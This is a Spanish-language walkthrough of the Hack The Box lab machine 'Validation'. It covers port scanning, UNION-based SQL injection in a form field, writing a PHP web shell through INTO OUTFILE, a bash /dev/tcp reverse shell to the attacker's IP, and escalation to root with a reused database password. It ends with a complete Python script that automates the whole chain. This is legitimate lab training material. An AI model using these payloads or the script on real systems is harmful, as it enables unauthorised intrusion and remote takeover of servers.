Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Validation, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- Enumeración del sistema.
- Uso de Burpsuite.
- SQL Injection.
- Utilización de SQL Injection para ganar acceso al sistema.
- Automatización de la intrusión en python.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
ping -c 1 10.10.11.116
PING 10.10.11.116 (10.10.11.116) 56(84) bytes of data.
64 bytes from 10.10.11.116: icmp_seq=1 ttl=63 time=136 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap -p- -sS -open -min-rate 5000 10.10.11.116 -oG Ports
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
5
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4566/tcp open kwtc
8080/tcp open http-proxy
Observamos un puerto web. Vamos a realizar un escaneo de servicios para identificar versiones:
1
sudo nmap -sCV -p22,80,4566,8080 10.10.11.116
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8f5efd2d3f98dadc6cf24859426ef7a (RSA)
| 256 463d6bcba819eb6ad06886948673e172 (ECDSA)
|_ 256 7032d7e377c14acf472adee5087af87a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open http nginx
|_http-title: 403 Forbidden
8080/tcp open http nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Tenemos la versión de ssh y el servicio web. Vamos a analizar este servicio utilizando en primer lugar la herramienta whatweb
:
1
2
3
whatweb 10.10.11.116
http://10.10.11.116 [200 OK] Apache[2.4.48], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.48 (Debian)], IP[10.10.11.116], JQuery, PHP[7.4.23], Script, X-Powered-By[PHP/7.4.23]
Tenemos algunas de las tecnologías utilizadas en esta página, vamos a revisarla:
Vemos que tenemos un campo username, probaremos con el usuario test para ver que ocurre:
Explotación
Intentaremos probar si es vulnerable a XSS:
Al ingresar:
Tenemos que es vulnerable a XSS, sin embargo, esto no nos sirve porque esta página no tiene algún tipo de autenticación, no podemos por ejemplo intentar robar cookies de sesión, por lo tanto, intentaremos probar si es vulnerable a sql injection:
Al parece no ocurre nada especial al agregar ‘, pero utilizaremos Burpsuite
para manejar las peticiones de manera más cómoda, cuando interceptamos la petición tenemos lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 10.10.11.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://10.10.11.116
Connection: close
Referer: http://10.10.11.116/
Cookie: user=098f6bcd4621d373cade4e832627b4f6
Upgrade-Insecure-Requests: 1
username=test&country=Brazil
Vemos que en la petición por POST va username y country, por lo tanto, intentamos agregar una comilla simple al final de brazil para ver que sucede:
Se observa un error, esto nos quiere decir que es vulnerable a SQL Injection, así que probaremos payloads para ver si podemos enumerar información, por ejemplo. intentaremos utilizar union en la data:
1
username=test&country=Brazil' union select 'testing'-- -
En la respuesta en raw observamos que está testing:
1
<li class='text-white'>testing</li>
Por lo tanto, intentaremos enumerar la base de datos:
1
username=test&country=Brazil' union select database()-- -
1
<li class='text-white'>registration</li>
Observamos que la database tiene como nombre registration, podemos intentar enumerar la versión:
1
username=test&country=Brazil' union select version()-- -
1
<li class='text-white'>10.5.11-MariaDB-1</li>
También podemos enumerar las otras bases de datos dentro del sistema:
1
username=test&country=Brazil' union select schema_name from information_schema.schemata-- -
1
<li class='text-white'>information_schema</li><li class='text-white'>performance_schema</li><li class='text-white'>mysql</li><li class='text-white'>registration</li>
Podemos ver las diferentes bases de datos del sistema, en este punto podríamos probar si tenemos capacidad de escritura utilizando into outfile dentro de /var/www/html, pues el servidor está corriendo allí según el error:
1
username=test&country=Brazil' union select "testing" into outfile "/var/www/html/testing.txt"-- -
Vamos entonces hacia el navegador para ver si ha creado el recurso:
Observamos que si se creó. Por lo tanto, tenemos una vía potencial de ganar acceso a la máquina, esto lo realizaremos intentando subir un archivo malicioso para poder entablar una conexión hacia nuestra máquina desde el servidor, en primer lugar vamos a crear el siguiente payload:
1
username=test&country=Brazil' union select "<?php system($_REQUEST['cmd']); ?>" into outfile "/var/www/html/evil.php"-- -
Al ingresar al recursos creado tenemos:
Por lo tanto, ahora solo basta con asignarle un valor a la variable cmd para ejecutar comandos:
El siguiente paso es entablar una conexión reversa con nuestra máquina, en este caso usaremos lo siguiente:
1
bash -c 'bash -i >%26 /dev/tcp/10.10.14.17/1234 0>%261'
Cabe destacar que corresponde a una variación de las reverse shell de pentestmonkey, debido a hay que aplicar url encode a los caracteres especiales para que los pueda interpretar, entonces:
1
http://10.10.11.116/evil.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.17/1234 0>261'
Luego de ejecutar la instrucción, ya teniamos netcat
previamente escuchando por el puerto 1234:
1
2
3
4
5
6
7
8
sudo nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.116] 37056
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$ whoami
whoami
www-data
Podemos observar que hemos ingresado correctamente a la máquina.
1
2
3
www-data@validation:/var/www/html$ ls
ls
account.php config.php css index.php js
Ahora buscaremos la flag de usuario:
1
2
3
www-data@validation:/home/htb# cat user.txt
cat user.txt
97661213f37a875cc5951
¡Bien! tenemos la flag.
Escalada de privilegios
En primer lugar, inspeccionaremos estos archivos por si hay información:
1
2
3
4
5
6
7
8
9
10
www-data@validation:/var/www/html$ cat config.php
cat config.php
<?php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
Observamos un usuario y una contraseña. Sin embargo, el usuario no existe:
1
2
3
www-data@validation:/var/www/html$ id uhc
id uhc
id: 'uhc': no such user
Pero como tenemos la contraseña, si tenemos suerte podría ser la de administrador:
1
2
3
4
5
6
7
8
www-data@validation:/var/www/html$ su root
su root
Password: uhc-9qual-global-pw
root@validation:/var/www/html# whoami
whoami
root
root@validation:/var/www/html#
Como la contraseña resultó ser la de root, nos hemos convertido en admin, ahora buscaremos la flag de root:
1
2
3
root@validation:~# cat root.txt
cat root.txt
f9f6320d7a1fc7f4d4a0
Hemos vulnerado completamente la máquina hasta ser administradores.
Sin embargo, como la escalada ha sido bastante lamentable, haremos un script en python para automatizar la intrusión:
En primer lugar, utilizaremos la libreria requests y pwn para realizar las conexiones, empezaremos definiendo las IP:
1
2
3
4
target = 'http://10.10.11.116'
target2 = 'http://10.10.11.116/evil.php'
ip = '10.10.14.17' # cambiar esto
session = requests.session()
Luego, después de definir las variables globales haremos una función llamada sqli, la cual hará la creación del archivo malicioso en el servidor web:
1
2
3
4
5
6
7
8
9
10
11
def sqli():
payload= """Brazil' union select "<?php system($_REQUEST['cmd']); ?>" into outfile "/var/www/html/evil.php"-- -"""
post_data = {
'username':'test',
'country':payload
}
session.post(target,data=post_data)
Luego, creamos la función que entablará la conexión reversa a nuestra máquina:
1
2
3
4
5
6
7
8
9
10
11
def reverse():
payload ="bash -c 'bash -i >& /dev/tcp/%s/1234 0>&1'" %ip
post_data={
'cmd':payload
}
session.post(target2,data=post_data)
Finalmente, tenemos el main, en el cual llamaremos a estas dos funciones:
1
2
3
4
5
if __name__ == '__main__':
sqli()
threading.Thread(target=reverse, args=()).start()
shell = listen(1234,timeout=10).wait_for_connection()
shell.interactive()
En primer lugar, llamamos a la función sqli para que suba el archivo malicioso a la web. En segundo lugar, trabajamos con hilos para que la función reverse se ejecute correctamente mientras estamos esperando una conexión por el puerto 1234 para luego tener una consola interactiva.
Con todo lo anterior, basta con cambiar la IP dependiendo de cual tengas y al ejecutar el código tendras una reverse shell para el usuario www-data.
El código completo es:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
from pwn import *
target = 'http://10.10.11.116'
target2 = 'http://10.10.11.116/evil.php'
ip = '10.10.14.17' # cambiar esto
session = requests.session()
def sqli():
payload= """Brazil' union select "<?php system($_REQUEST['cmd']); ?>" into outfile "/var/www/html/evil.php"-- -"""
post_data = {
'username':'test',
'country':payload
}
session.post(target,data=post_data)
def reverse():
payload ="bash -c 'bash -i >& /dev/tcp/%s/1234 0>&1'" %ip
post_data={
'cmd':payload
}
session.post(target2,data=post_data)
if __name__ == '__main__':
sqli()
threading.Thread(target=reverse, args=()).start()
shell = listen(1234,timeout=10).wait_for_connection()
shell.interactive()
!Listo!
Hemos realizado la automatización de la intrusión.
Nos vemos, hasta la próxima.